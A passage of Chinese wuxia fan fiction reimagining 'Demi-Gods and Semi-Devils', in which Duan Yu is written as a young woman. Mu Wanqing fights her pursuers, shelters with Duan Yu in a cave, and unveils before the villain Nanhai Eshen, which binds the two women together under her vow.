钟灵肩头剧烈起伏,咬牙切齿道:“那盒子里的东西你是不是早就看过了?你明明可以私下告诉我,偏要在这时候说出来,真是卑鄙无耻……” 木婉清道:“就算告诉你,莫非就能当此事未曾发生?若不是你惹祸上身,以师叔的谨慎,到死也不会透露分毫。说来说去,要怪还是怪你自己。” 钟灵脸气得雪白,闻言勃然大怒,拔出匕首向木婉清刺去。木婉清轻飘飘避开,剑身一转,朝钟灵小腹一击,道:“你好好想一想,我先不奉陪了。” 当下毫不恋战,收剑转身,朝着段钰离去的方向追去。 5. 第 5 章 段钰纵马入林,也不知该去何处,任由黑马带着自己漫无目的在林中穿行。未过多时,隐隐听见身后传来一声唿哨,黑马渐渐停下脚步,心顿时狂跳起来。 一想钟灵,她便觉得胸口一阵阵闷痛,心像是被人紧攥在手里,喘不过气来。俯下身去摸黑马的头,啜泣道:“黑玫瑰,快跑啊!” 无论她怎么哀声恳求,黑马都不肯再向前一步。夜风拂林,四下昏暗无光,也不见出路在何处。段钰用力擦去脸上泪水,慌慌忙忙就要下马,突然被人按住了腰。 她没用甚么力气,段钰早已在她靠近时便闻到了淡淡香气,只觉得眼下自己着实狼狈,垂下头不敢与她对视,勉强牵动嘴角,声音里是掩饰不住的惶然:“你来了,那她……” 木婉清把她扶回马背上,道:“钟灵已经回去了。” 段钰低低应了一声,眼前突然又模糊起来。 木婉清并未上马,反而是牵着缰绳慢慢走在前头。段钰朦胧中望着她的背影,道:“我们这是要去哪儿?” 木婉清道:“送你回大理。” 段钰一想到回家便心生抗拒,猛然间回忆起某次无意中听见爹爹妈妈争吵,妈妈道:“你镇南王风流之名早就传遍了江湖,谁知道你在外头还有多少红颜知己?你说的话,我一个字都不会再信。”说不定妈妈早就知道了爹爹的事,所以才不肯回家,宁可一人住在冷冷清清的观里。 一时间心灰意冷,摇摇头道:“我不回去。” 木婉清道:“你不回去?那你想去哪里?” 段钰忽然想起那湖底的山洞,初入之时,她还不懂为何有人会住在这种阴冷可怖的地方,然此时此刻,她却想一头钻进那洞中,就此躲藏起来,任谁也找不到自己,这样便能忘却一切烦恼。 段钰道:“我……我不知道。” 木婉清道:“你是不是怕钟灵又追上来,想找个地方藏起来,再也不见她?” 段钰咬了咬嘴唇,道:“是。” 木婉清背对着她,说话时没有回头,道:“你的救命之恩还没报答,是想耍赖?” 段钰心中烦闷,道:“我答应的事,一定会做到。你不说,我怎会知道你到底要我做甚么?” 木婉清漫不经心道:“那在我想好之前,你必须要留在我身边,不然你像这回一样,又跑了怎么办?” 段钰道:“我不会跑的。”想了想又说:“这山上的路我都不认得,就算跑了,用不了几日就饿死在山里了。” 木婉清道:“既然知道,就赶紧打消在深山老林里躲一辈子的念头。山里毒虫猛兽众多,你又不会武功,回头连死都不知道怎么死的。” 这话若是放在平日,段钰自然一笑而过,不会放在心上。但她现在心烦意乱,只觉得木婉清那话甚是刺耳,道:“就是死了又能怎样?和你又有甚么干系?”话一出口,木婉清脚步一顿,回过头来。段钰明知是自己迁怒于人,羞恼不已,当即就要从马背下来。 木婉清牢牢捉住她的手臂,以防她从马上滑落,静静道:“乱发甚么脾气?就因为我和钟灵认识,连我也不想看见了?” 段钰哽咽道:“没有这回事……你先放开我。” 木婉清翻身上马,环住她道:“不放,放了你就跑了。” 段钰心知和她说是说不通的,低声道:“我不跑。” 却见木婉清手中多了个药瓶,拔开瓶塞,一股馥郁芬芳冲鼻而至,道:“把手给我。” 段钰眼睫低垂,微微一颤,摊开手道:“这是甚么?” 木婉清往她手里倒了些绿色药粉,段钰低头轻嗅,那香气一吸入鼻中便觉通体舒畅,心头躁郁之情去了大半。木婉清道:“这香粉采集不易,为了骗司空玄换来解药,给了他大半瓶,只剩下这么一点了。” 段钰惊奇道:“香粉?是从花上采来的么,你竟会做这个?”此事听起来风雅,但要从花蕊取下粉末,非心细如发所不能。而花期甚短,若想收集到这一个药瓶的份量,只怕要花费上数年功夫。 木婉清道:“这很奇怪?”越过段钰肩头,在她捧着药粉的手上闻了闻,道:“我闲来无事的时候,就会到后山去采集花粉。这香粉如何,是不是很香?” 她忽然一靠近,段钰正好侧头想说话,无意间嘴唇从她面纱上轻轻蹭过,闻到她身上幽幽的香气,一时呆住了,竟忘了自己要说甚么。 木婉清若无其事放开她的手,道:“怎么不说话,嗯?” 段钰心跳加快,几乎到了不听使唤的地步,人也在浓烈的芳香中晕晕沉沉,半晌方道:“你身上的香气是甚么……难道也是香粉?” 木婉清道:“我常年采花晾粉,少不得沾染花香,久而久之,这香气便有些混杂,只有近身方能闻到。你闻闻是不是这样?”她说着抬起手,递到段钰面前。那手套与衣袖相接不及之处,露出一截雪似的腕骨,犹带着淡淡香气。 段钰偏过头去,不知为何有些难为情,含混道:“是这样。” 忽闻东北角传来击掌声,跟着西北角有人低声呼啸。段钰腰间一紧,身后木婉清低喝道:“快跑!” 黑马急冲向前,接连数道人影从林中现身,其中两名老妪身形怪异,正是昨夜围攻木婉清的那几人。 那瑞婆婆喝道:“小贱人,你还敢跑!” 木婉清道:“我以为你们昨夜吃够了教训,没想到这么快又来送死了。” 平婆婆挥了挥手中短刀,愠道:“死到临头,还敢嘴硬!”她身侧站着两个人,左边是个白须老者,手执一柄铁铲,右边是个汉子,手持长剑,都是一副杀气腾腾的样子。那汉子叫嚷道:“先摘了这贱人的面纱,破了她立的誓……” 木婉清嘲道:“就这么追下去,到你老死也未必能追上我。”冷不防射出数只短箭,趁众人躲避之时抖开长剑,纵身跃起,剑指向那平婆婆。 平婆婆早有防备,当即道:“小贱人看招!”挥刀格去,咔嚓一声,刀头已被剑锋所断。瑞婆婆冲上前来急挥铁拐,木婉清攻势一转,借着她拐杖上猛挥之力飘然一跃,回剑轮转时掠至持剑汉子身后,一剑从他背心刺下。 那白须老者连忙举起铲子朝木婉清拍去,木婉清手腕一斜,一只短箭正中那老者胸前。忽然背后平婆婆喝道:“小贱人受死!”她神不知鬼不觉靠近,手握断刀向木婉清扑来,木婉清剑招转变,一时来不及回挡,段钰见状解下身上斗篷拋向平婆婆,平婆婆不能见物,慌忙去扯,木婉清趁隙一剑刺进她喉咙,平婆婆重重倒地。 突然间从侧边树丛里闪出一人,只听噗的一声,木婉清左肩一阵剧痛,侧头看去,已被一柄匕首刺中。那瑞婆婆在一旁埋伏已久,见一击得中,叫道:“这贱人受伤了,快快将她捉住!” 木婉清咬牙拔出匕首,强忍痛楚,手中剑光一闪,剑势如漫天落雨,急攻向瑞婆婆。瑞婆婆挥动铁拐作挡,木婉清脚下一勾,将平婆婆的那柄短剑踢向瑞婆婆,正中她的门面,瑞婆婆当即发出一声惨叫,手中铁拐应声落地。木婉清长剑一横而过,瑞婆婆喉头发出咯咯声,想伸手去捂喉上剑伤,却已经来不及,跪倒在地上,头猛地一向下一垂,再也没有抬起。 段钰心急如焚,驱马来到木婉清身旁,趁着追兵未至,赶忙将她拉上马。黑马掉头一转,朝着来时路奔去。段钰听见身后传来呼喝之声,只怕他们又追了过来,忙催促马儿快跑。 段钰手掌触及一片湿热,一看手中鲜红,惊道:“你受伤了?” 木婉清断断续续道:“别管我……快走。” 如此月下疾驰,山影清风一晃而过,黑马冲上陡坡,朝着山路上行去。段钰看见山下火光,想起神农帮还在这山中,立刻提起缰绳一扯,命马儿回返,余光一瞥,见那转角陡坡隐蔽处似乎有个山洞,来不及思索便骑着马冲了进去。 洞中黑暗潮湿,似乎还有水声,唯有洞口处有月光照入。段钰先下马,半扶半抱让木婉清坐在地上,从她手里取过长剑,从衣角撕下一截布条缠在剑尖,又拿出火折子点燃,借着这点光亮向里头走去。 刚走几步,忽然听见脚下传来轻响,像是踢到了甚么东西。段钰屈身蹲下一看,那倒地之物居然是个瓷盏,里头装着的灯油正顺着盏壁缓缓流出。她慌忙将此物扶正,挑出灯芯点亮,朝洞中照去,只见里头有一面石壁,洞穴尽头似有水流。她走到石壁前,看见那上头划痕累累,一眼望去不计其数,仿佛是利器所刻,心觉奇怪。小心向后一看,石壁后又有一个洞口,形似门状,探身向里张望,只见洞中有一床一桌,都是石头做的,除此之外,再无别的东西。 这石洞四壁画着许多小人,姿态各异,手举一物,像是剑器。角落有一行字,依稀可见玉璧仙影四个字。段钰心下了然,想必这地方曾是无量剑派哪位前辈辟出的清修之地,用于钻研那无量玉璧上留下的剑法。手摸了摸石桌上的灰尘,想是许久未有人来过,思及干光豪所言,说不定这石洞就是他那位太师父居住过的地方。 她收回思绪,想着还是快把木婉清背进来。转身走了几步,余光瞥见昏暗中床沿似乎坐了一个人,登时吓得魂飞魄散,颤声道:“你、你是……”手中瓷盏晃动,火光忽明忽暗。 一只修长洁白的手从暗中伸来,稳稳捉住了段钰的手腕,那人道:“我还没问你,这是甚么地方?” 段钰惊魂未定,这才发现原来床头坐着的人是木婉清。木婉清拉着她一同坐在石床上,托住她捧着瓷盏的手道:“拿好了。” 段钰抚了抚胸口,道:“你是甚么时候进来的?”突然低低啊一声,见她右臂纱布上透出隐隐鲜红,显是方才激战之中令伤口破裂,神色紧张起来,道:“你肩上的伤势……” 木婉清垂眸片刻,将一个青色瓷瓶与未开封的纱布放在身侧,道:“我手上还有伤,行动不便,你来帮我上药。” 段钰放下瓷盏,拨亮火光,推到木婉清身旁,闻言下意识就要去解她的衣衫,刚碰到外袍手上动作一顿。这时木婉清轻轻吸了口气,低声道:“你最好快些,这伤痛得厉害。” 段钰心中一慌,硬着头皮去解她的衣带。那衣衫层层浸染鲜血,又在恶战中被割裂了几道,即便段钰再如何小心,也难免触碰到内衫下的柔软。昏黄火光中木婉清肤白胜雪,似乎手掌稍一贴近,便会融化开来。段钰不由屏住呼吸,放轻动作,尽量避免碰到她胸前裸|露在外的肌肤,将药粉洒在伤处。 木婉清忽道:“你很热?” 段钰微怔:“嗯?” 木婉清道:“不然你的脸为甚么这么红?” 段钰听出她话中的嘲讽之意,抿唇不作理会。木婉清又道:“没见过女人?我有的你哪一样没有?” 段钰瞠目结舌,道:“这怎么能一样!” 木婉清冷嗤道:“有甚么不一样?那天晚上你抱着我睡了一夜,也没见你醒来以后有甚么不好意思。” 段钰只觉得怎么说都是错,将药瓶放在一旁,索性垂目不语,谁知手腕却被木婉清扣住。段钰茫然地看着她,手上突然一痛,惊呼出声。低头看了看,发觉手臂内侧竟有一道伤。木婉清凝目看了一会儿,冷冷道:“谁伤了你?” 段钰也有些疑惑,只见木婉清随手倒了些药粉在手中,往伤处抹来。那粉末起初冰凉凉的,片刻后就如火燎般,痛意顺着手臂直窜而上。段钰低声呼痛,木婉清下手却毫不心软,紧紧按住她的手上完药,教训道:“既然知道痛了,下回就该尽快找个地方躲好,你以为自己命大的很么?” 段钰忍了又忍,终究还是没忍住,不满道:“你还敢说我?你的那些个仇家个个都心狠手辣,再多来几次,就算有九条命也不够用。” 她说这话时红润的嘴唇微微嘟起,像把精致小巧的壶嘴,木婉清瞧着手心发痒,很想捏一捏那粒唇珠,连她说了甚么话都没怎么在意听。段钰毫无察觉,自顾自说道:“你是怎么惹上这么多仇人的?” 木婉清道:“我活了二十年,一直跟师父住在山里,鲜少有离山的时候。” 段钰道:“啊,原来你比我大了三岁,难怪……”她本想说难怪钟灵叫你姐姐,话却堵在口中说不出来。提及钟灵,仿佛如鲠在喉,胸口又是一阵阵闷痛。将垂落下的一缕长发别到耳后,借着这举动低下头去,沉默不语。 “你所见的这些人,是最近这半年我离山之后,才结下仇怨的。”木婉清说道,“今年春天,我师父的师妹‘俏夜叉’甘宝宝派人送信来,我师父看过信后十分生气,将信撕得粉碎。” 她看向段钰,见她手腕上仍戴着钟灵所赠的银镯,目光冷了几分,口中不紧不慢道:“之后师父哭了好几天,饭也不肯吃,也不理会我,后来她说,有两个女人对不起她,让她伤心多年。若非师叔报信,将那二人所在之处告知,她这辈子都难以报仇。我们下山之后,先去苏州杀那姓王的女人。她住的地方十分古怪,岔来岔去的都是河滨港湾*,我们杀了她不少手下,却始终见不到她本人。后来我师父说,她还有一个仇人住在大理,我们分头去寻那姓王的女人,若是寻不到,一个月后就在大理会合。没想到这姓王的手下有好些个武功高强之人,他们人多势众,追我追得甚紧,我与他们边打边逃来到大理,找到了甘师叔,她收留了我,说等我师父回来,再一起去大理找那个女人。” 段钰暗自心惊,道:“钟夫人和这二人也有仇怨?” 木婉清道:“不然你以为她来报信是为了甚么?” 段钰回忆起钟夫人那温温柔柔的面容,实在想不出她杀伐果断的模样,蹙眉道:“这样杀来杀去,到底要甚么时候才能了结?” 木婉清道:“以命抵命,不是我们杀了她们,就是她们杀了我们。难道我还会怕死吗?” 段钰对她这番言语也没奈何,收了石床上的东西,道:“知道你不怕,不过总该想一想……”本要说父母,想起她的身世,一时无言。 木婉清道:“想一想甚么?” 段钰只得道:“想想身边的朋友。”思及这一路走来,二人虽然言语寥寥,也算是共经患难。只怕是木婉清根本没把自己放在心上,这么一想,无端有些气闷,道:“你受伤了,先好好歇息再说吧。” 她手上微光一闪,木婉清低头看去,原来是钟灵所赠的那枚银镯。这本不是什么起眼的东西,偏偏这么个小物件,在木婉清看来却是份外刺心,她道:“我算你的朋友么?” 段钰立刻道:“当然算啦。” 木婉清又道:“那钟灵呢?她也算?” 段钰静了一瞬,道:“……也算。” 木婉清道:“你听我说到我师叔,是不是又想起钟灵了?” 段钰心中难过,拿起瓷盏就要起身离开。木婉清却按住她的双肩将她身子扳正,直视着她的双眼道:“告诉我,是还是不是?” 隔着一盏油灯,火光映跃之中,她的眼睛犹如深潭。段钰避无可避,顾及她身上有伤,不敢用力挣扎。二人僵持片刻,段钰眼眶微微泛红,强忍下喉中酸涩,低声道:“是……我今夜才见过她一面,要我如何能不去想?” 肩上的桎梏陡然一松,木婉清曲指弹了弹她的额头道:“那就别想了。” 段钰察觉她这一举动似有安慰之意,眼中一热,佯装低头看向别处,趁机抹了抹眼泪,道:“今天晚上,你为甚么要来找我?” 木婉清道:“你骑走了我的马,我不找你找谁?” 段钰大窘,木婉清又道:“你一人骑着马在山里乱闯,若是让人捉去了,岂不是糟糕至极。”语声一变,颇为生硬地续了一句:“别自作多情以为我是去找你的,我可是为了我的马。” 段钰破涕为笑,扑哧一声,觉得她这别扭样子格外有趣。木婉清目光不善,道:“我的话很好笑?” 段钰笑微微道:“你是不是从没有说过安慰人的话?” 木婉清讥讽道:“你又要开始自作多情了?” 段钰早已看出她不过是外厉内荏,半点也不畏惧她了,真心实意道:“木姐姐,你人真好,谢谢你特地今晚来寻我,还说这些话安慰我。” 木婉清立刻厉声道:“谁特地来寻你了?你……” 段钰忍着笑说道:“嗯,你当我是自作多情好了。” 木婉清静静瞧了她一会儿,垂下眼道:“笑够没有?笑够了就赶紧歇息,明日还要赶路去大理。” 段钰已经全然忘了方才的伤心难过,努力压平嘴角,道:“我没笑。” 木婉清两指按在她嘴角上,向下一拉,轻声道:“小骗子。” 这话从她口中说出,无端有几分狎昵之意。段钰心中微颤,感觉她按住自己嘴角的手向上轻轻一提,道:“还是这么笑着好看些。”若无其事收回手,转头吹熄灯火,揽住段钰腰身合衣躺下。 段钰本就又乏又累,被她抱在怀中,淡淡幽香环绕,竟有种奇异的安宁感,不知不觉睡着了。 翌日醒来,段钰一睁开眼就对上一双幽深的眼睛,发现自己整个人都依偎在木婉清身侧,恨不得埋进她的怀里,惊得手脚都不知该放在何处。想要起身,头发却被木婉清压住一缕,支着手臂羞赧道:“我的睡相是不是不好?” 木婉清挪了挪手,眼中微微一动,道:“压到了我的肩膀。” 因这一句话,段钰一路上都老老实实被她圈在怀里,在马背上连动一动也不敢。 为避开神农帮,木婉清选了一条险要山路绕后而行,临高俯瞰便是陡峭的深崖,仿佛白云都从身边轻飘而过。那剑湖远望如一方碧石,张开手便可将其握住。段钰左张右望,看什么都觉得新奇,忍不住指着那些山水让木婉清来看,得到的回应不过是‘嗯’、‘啊’几声,仿佛兴致缺缺,不由问道:“这不好看吗?” 木婉清道:“看得多了,没甚么稀奇的。” 段钰眺望远处山峰,见日光之下,青色峰峦间一道白壁赫然嵌在其中,不禁脱口道:“啊,那一定就是‘无量玉璧’了!” 木婉清道:“甚么‘无量玉璧’?” 段钰便将神农帮与无量剑派之事一一道出。木婉清道:“能在这山峰上舞剑,一定是两位绝世高手。” 段钰心驰神往,道:“你也会武功,你快和我说说,这下山半年,你见到的‘江湖’到底是甚么样的?”
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木婉清下了马,段钰看出来者不是善类,也跟着要下来,木婉清按住她道:“你坐着,不要动。” 黄衣人冷冷道:“看来你知道我是谁了。” 木婉清道:“你是‘南海鳄神’?都说‘小煞神’孙三霸是你的徒弟,我看着却不太像。” 南海鳄神道:“你好大的胆子,明知道他是我的弟子,还敢杀了他?” 木婉清道:“起先不知道,等他死了以后我才知道。他技不如人,又先来冒犯我,难道还要我让一让他?” 南海鳄神道:“他冒犯你?他怎么个冒犯法?” 木婉清道:“他要揭我的面纱,看看我长的甚么样子。” 南海鳄神道:“哦,原来如此。你武功不错,他是不如你。” 段钰闻言正要放下心来,南海鳄神一声怒吼,抬手朝着山路旁一块大石劈去,那石头登时四分五裂,碎石滚了一地,几块石屑弹起,惊得马儿后退几步。 南海鳄神神情狰狞,怒道:“你杀了我徒儿,我要给他报仇!” 木婉清毫无畏惧,直视他道:“这般无用的徒弟,留着也是败坏了你的名声。死了也就死了,再收一个不就行了?莫非以你四大恶人的威名,连个弟子也收不到么?” 南海鳄神一怔,干笑几声:“以我岳老二的名声,到处都是争着抢着要做我徒弟的人!”又道:“师门规矩,我一次只能收一个徒弟。孙三霸死就死了,我这么多年花在他身上的心血不就白费了?”越想越恼,自言自语道:“再收一个徒弟,说的倒是容易,他妈的!” 段钰心中附和,忍不住轻轻点头。南海鳄神立刻察觉到了,指着她道:“你是甚么人,坐的那么高做甚么?还不快给老子滚下来!” 木婉清上前一步挡在他面前,道:“她不会武功,此事与她无关。” 南海鳄神啐了一声,道:“管她是甚么人,赶紧滚下来。”手中飞出一物,凌厉破空声传来,段钰只觉肩上一痛,当即从马背上栽倒下来。 木婉清一见他对段钰动手,心中惊怒,想也不想手腕一抬,数箭齐发,尽数奔着南海鳄神而去。也不见他是如何出手的,轻而易举便将这几只毒箭扫落在地。他那十根手指又尖又长,宛若鸡爪,捏住最后一只射向面门的箭轻轻一弹,冷笑道:“我不杀无力还手之人。你受了伤,我本不该杀你,你自己先要朝我下手,这可就怪不得我了!” 段钰这一下摔得甚痛,听了这话道:“这么说,你不是已经坏了自己的规矩了么?怎能再朝她动手?” 南海鳄神道:“呸,胡说八道,我甚么时候坏了规矩?” 木婉清低声喝道:“住口!” 段钰道:“我不会武功,也算是无力还手之人,可你方才不是出手,把我从马上打了下来。先坏规矩的人是你,木姑娘不过是替我还手罢了,怎么能算是先朝你下手?” 她想起此人乃是钟万仇请来的帮手之一,不知另外三个恶人又是甚么样子,料想也是一般的古怪,都是穷凶极恶之徒。拍了拍身上的尘土,站起来在南海鳄神面前走了几步,故作镇定道:“你在江湖上这么有名望,要是被人知道了你坏了规矩,只怕许多人都要偷偷在背后笑话你呢。”说话间频频向木婉清使眼色,示意她上马快逃。 南海鳄神怒道:“谁敢笑话我?老子去把他们的脖子都拧下来!” 段钰道:“嗯,世上有这么多人,你一个个慢慢拧,一定能拧完的。可现在你要是拧了我们的脖子,这一世英名岂不就被毁了?我不会武功,本就无力还手,木姑娘受了重伤,也无力还手,只能不痛不痒地射你几箭罢了。四大恶人名声赫赫,总不至于连这几只箭都挡不住罢?既然这箭伤不了你,木姑娘又因你朝我动手在先,方才用箭射你,这么说来,你如果现在再对她动手,那就是坏了自己定下的规矩,欺负无力还手之人,还算甚么恶人?” 南海鳄神怒视她片刻,道:“好,我不杀你们。”又对木婉清道:“我听说你发过誓,不许旁人见到你的容貌,倘若有人见到了,你若是不肯杀他,就要嫁给他。我那徒儿是不是想看你的脸,才被你杀了?” 段钰愕然看向木婉清,只见她点了点头,道:“是真的。” 南海鳄神道:“他看了你的脸没有?” 木婉清道:“凭他的本事,自然没有。” 南海鳄神道:“原来他到死也没看见你的真面目,现在让我来瞧瞧,你到底生的甚么模样,是不是一个丑八怪!” 段钰忙道:“不行不行,你不能看她的脸!” 南海鳄神将她一掌拨开,段钰跌坐在地上,顾不得身上疼痛,又挡在他面前,见他目露凶光,心中一颤,大声道:“你对我动手……你又坏了自己的规矩!” 木婉清却道:“想看我的脸可以。”段钰闻言道:“你别说气话了。” 木婉清又道:“不过我杀不了你,就只能嫁给你了,你去哪儿我便去哪儿,这辈子都要跟在你后头。若是人问起来,我只能实话实话,四大恶人里的岳老二看了我的脸,我是岳夫人,需跟着他……” 南海鳄神大惊失色,嫌恶道:“甚么岳夫人!胡编乱造,没有的事!” 木婉清冷冰冰道:“你非要看我的脸,我又有甚么办法。杀不了你,只能嫁给你了。眼下我无力还手,你想杀便杀,谁又能说你甚么?”说着去解面纱旁的系绳,道:“你不杀我,我就缠你一辈子,到你死,或是我死为止。” 眼看那面纱就要掉下来,南海鳄神急中生智,拽着段钰的胳膊将她推向木婉清,粗暴道:“男人女人都是人,谁看了你的脸你就找谁,可别来缠着老子!老子最烦你们这群小娘们了!”后退几步,侧身对着二人,显然十分忌惮木婉清的那番话,不愿因先看见她的脸而被她缠上。 段钰被迫面对木婉清,见那面纱虚挂着,一阵风就能把它吹掉下来,急得额头冒汗,小声道:“其实你不解也没关系,反正他看不见。” 木婉清淡淡道:“你不是口口声声说想报恩?现在就是你报答我的时候。”见她神色挣扎,又道:“说到底不过是件小事,你在害怕甚么?” 段钰想起她发下的毒誓,心中一阵忐忑,道:“你要不要再想一想?我……我是怕你后悔。” 木婉清直视她道:“我有甚么可后悔的?”拉住面纱向下一扯。 段钰马上闭紧双眼,口中喃喃道:“你还是多想一刻,不要这么草率。”久久不闻木婉清开口,段钰心下不安,闭着眼正要询问,谁知木婉清却道:“钟灵,你怎么来了?” 这一惊之下她立刻睁开眼睛,入目便是一张从未见过的陌生面孔。眉如翠羽,清丽绝俗,或许是因为受伤的缘故,她脸色过于苍白,唇色也极淡,让人想起月光下的昙花,拨开丛丛掩映的碧叶,方能见到那动人心魄的美丽。 段钰飞快闭上眼,道:“钟灵她……” 木婉清道:“你真笨,我骗你的,她怎么会到这里来?” 她不容段钰拒绝,捧起她的脸道:“喂,看着我。” 段钰眼睫微动,虚张开一道缝,并不敢仔细去看她。木婉清眼中闪过一丝异色,柔声道:“我下山之前向师父发过誓,见到我真面目的人,倘若我不杀他,那就要永远和他在一起。” 段钰心头怦地一跳,虚声道:“不……” 木婉清说完轻轻一笑,仿若明月清辉照进了水中,当真是说不出的动人。并起手在嘴上一按,见段钰要开口说话,先一步按住她的唇道:“我不会杀你,你大可现在反悔,只是那样我便不得不嫁给他了。” 她指腹上似乎还残留着触碰双唇后留下的温热触感,段钰一怔,回头看了眼南海鳄神,见他怒目圆睁,恶狠狠朝自己瞪来,五官怪模怪样拧成一团,当真是丑不可言,立刻道:“当然不行了,他可是大恶人……不成的,你怎么能够嫁给这种人?” 木婉清突然在她掌心捏了捏,道:“那好,现在我是你的了。” 6. 第 6 章 南海鳄神见她面纱已经摘下,怪笑一声道:“原来你不是个丑八怪,可惜孙三霸那小子已经给你杀了。” 段钰心说要论丑,谁也比不过你。南海鳄神仿佛听见她这番心声,忽道:“你转过身去。”一下跃到段钰身侧。 他咧嘴一笑,眼中精光一闪,神情竟有几分癫狂,道:“真像,你这块脑骨真是像我!快,你快求我收你为弟子,我一定答应!” 段钰见他并无加害自己的意思,大着胆子道:“前辈,你是不是看错了?” 南海鳄神道:“绝无可能!你骨骼清奇,脑骨后凸,正是练武的奇材。”又忿然道:“只可惜你是个女人!” 这句话段钰自小不知听过几回,每每央着爹爹习武时,他便道:“女子习武又有何用?武功再高,也不过是平白惹是生非罢了!”诸如此言数不胜数。 但她一路走来,所见女子皆身负武功,如无量剑派西宗上下清一色都是女子。正如钟灵所说,会武功总比不会武功来的强,若要援及他人,也需得有自保之力。心中甚是厌烦此等言论,不悦道:“女人又怎么了,前辈方才还说,男人女人都是人,怎么现在又变卦啦?” 南海鳄神道:“那你快求我收你为徒!” 段钰道:“你既然嫌弃我是女人,我可不敢拜个这样的师父。何况你的武功也未必比我爹爹高出多少,我干甚么非要拜你做师父?” 南海鳄神怒道:“你爹是甚么东西,让他出来和我岳老二比一场,看看谁的本领更大!” 段钰怕他想起为徒弟报仇之事,煞有其事胡扯了一通,南海鳄神果然气得跳脚,道:“等我扭断你爹的手脚,让他像个王八似的爬在地上,嘿嘿……嘿嘿……你就知道我岳老二的本事如何了!快告诉我你爹在甚么地方,我这就找他去!” 他连吼带骂,捡起一块石头捏的粉碎,以此发泄心中怒火。段钰心惊胆战,情知不能露怯,若无其事道:“他在大理城中,整天都忙得见不着人,未必有空出来见你。”佯装思索,片刻后道:“不过嘛,只要你到城东的一座宅子前大喊三声,就说‘段钰在我手上’,我爹爹只有我一个女儿,他听见了一定会来见你,到时候你们就可以比试一番了。你要是胜过了他,我就拜你为师!” 南海鳄神拍了拍自己后脑,道:“好,好!一言为定!”忽然从远处传来一阵尖锐悠长的铁哨声,他立刻奔到山路旁向崖下望去,叫道:“来啦!催得这么紧!”转身看向木婉清,眼中凶光毕露,道:“你过来,我这就拧断你的脖子,给你个痛快。” 段钰没想到他居然还没忘了这件事,忙道:“不行,你不能杀她!” 南海鳄神道:“我怎么不能杀她?嗯,她先杀了我徒弟,那我就要杀她!” 段钰心念电转,急中生智道:“你既然要收我为徒,如果现在杀了她,不就是恩将仇报了吗?” 南海鳄神诧异道:“她对我有甚么恩?” 段钰飞快道:“刚才我看了她的脸,她没有杀我,留了我一命,若是她不肯放过我,把我杀了,你还收得了徒弟么,这不正是有恩与你吗?你又怎么能杀她?” 南海鳄神道:“你还没拜我为师,算不上是我徒弟,我大可杀了她。” 段钰没想到他看似疯疯癫癫,关键时候却警醒起来,急道:“你、你若是碰她一下,我就不认你做师傅了!你找别的徒弟去吧!” 这时铁哨声又接连响起,南海鳄神嘴里一连串乱骂,掠至木婉清身旁,细长手指已按在了她的脖颈上,对段钰道:“你跪在地下,苦苦求我收你为徒,我假装不肯,你便再三相求,磕头不断,我才假装勉强答应,其实内心十分欢喜。这是我南海派的规矩,你快些照办,以后轮到你当师父收徒时也该如此,不可忘了。你如不拜我,我立刻就拧断了她的脖子” 他那五指干若枯枝,仿佛下一刻就要在木婉清脖子上插出五个窟窿,段钰气急道:“你拧断她的脖子做甚么,是我不肯拜你做师傅,你要拧就来拧我的好了!” 南海鳄神轻哼一声,道:“你磕不磕头?” 段钰心知若是拜这么一个名声狼藉的恶人为师,只怕后患无穷。可木婉清又受制于人,自己又怎能不顾及她的性命?当下左右为难,不知该如何是好。偏生南海鳄神死死掐住木婉清的脖子,她全然一点法子也没有,一怒之下道:“我不向你磕头,死也不磕!你要杀就杀罢,大不了我陪她一起死!” 说完一把抹去泪水,径直冲向山路旁,闭着眼就跳向深谷。木婉清见状厉声道:“你要是再不放手,你的好徒儿可就要没了!” 段钰负气跳崖,脚下踏空时方涌起几分惧意,但要回头已经来不及了。正当她紧闭双眼之时,察觉衣领被一股力量拉住了,人也随之被拋向半空,一睁开眼便看见陡削的高崖一晃而过,待站回地上时,已是腿软脚麻,摇摇欲坠。 却听那哨声接连不断,似有催促之意,南海鳄神放开她的衣领拍了拍手道:“我已经死了一个徒弟,好不容易找着一个,要是又死了,谁来赔我一个?” 段钰眼前一阵恍惚,手脚发软,提不起甚么力气,闻言反驳道:“我才不要做你徒弟。” 南海鳄神道:“没想到你这么喜欢她,还给你好了。”随手把木婉清往段钰身边一推,道:“我还要去对面那座山上等几个人,你先在此等着,待过几日我进了大理城,杀他个鸡犬不留,再去会会你爹,让他输的心服口服,我南海一派便后继有人了,嘿嘿!” 他说完朝着崖下纵身一跃,贴着崖壁攀援向下,身子每溜下数丈之后,便会稍向上一荡,由此跃向另一处峭壁,不一会儿身影就消失在了云雾之中。段钰目视他离去,回头看向木婉清,见她雪白皮肤上五个指印清晰可见,顿时有些难过,低声道:“你的脖子还疼吗?” 木婉清道:“为甚么不敢看我?” 段钰心中一阵莫名悸动,闪闪躲躲看了她一眼,自己也觉得有些奇怪。她见木婉清随手将面纱扔到一旁,不禁问道:“你不戴它了吗?” 木婉清道:“无所谓,往后都用不上了。”抱着段钰重新上马,朝山下走去。 二人自然不会听南海鳄神的话乖乖在山上等他回来,木婉清下山之后策马疾驰,跑出七八里后穿过一片茂密的森林,在林中绕了几段路之后,这才命马儿缓行。段钰被她半抱着,后知后觉道:“我刚才说的那些话,你不要放在心上,那都是我骗他的,做不得数。” 木婉清淡淡道:“哪一句?”见她耳垂红的仿佛快滴下血来,心下多了几分快意,道:“你说了那么多,我怎会知道你说的是哪句?” 段钰咬了咬唇,苦恼着要不要提起这件事,小心翼翼道:“你的脸……” 木婉清道:“怎么,我生的很丑?” 段钰连忙摇头,道:“当然不会!是你……你生的太好看了。”说完她面上迅速飞红,有些不好意思,道:“我说的是真话,真的。” 木婉清道:“还以为我长得太丑,吓着了你,你不想要我了。” 段钰闻言一扭头,两人目光正好对上,她仿若被烈火烧燎一般,飞快转过身去,道:“这怎么能当真?你明知道那恶人在一旁看着,我那时……并非本意。” 这时马儿跃过溪流,她身子顺势一仰,紧贴在木婉清怀中。木婉清收紧手臂,以防她不慎坠马,道:“你说的话真也好,假也罢,可我发过的誓却千真万确,你要让我毁誓不成?那恶人必然会将此事宣扬的到处都是,如果让我师父知道有人看了我的脸,我却没有杀她,她又不愿要我……嗯,我若违背誓言,师父定会自刎。” 段钰未料到还有这么一事,听来暗自心惊,道:“你师父为何要你发这种誓?” 木婉清道:“我不知道。但她一向说得出做得到,这话可不是随口吓我。” 段钰犹豫片刻,低下头去,轻声道:“如果、如果我反悔,你是不是要杀了我?” 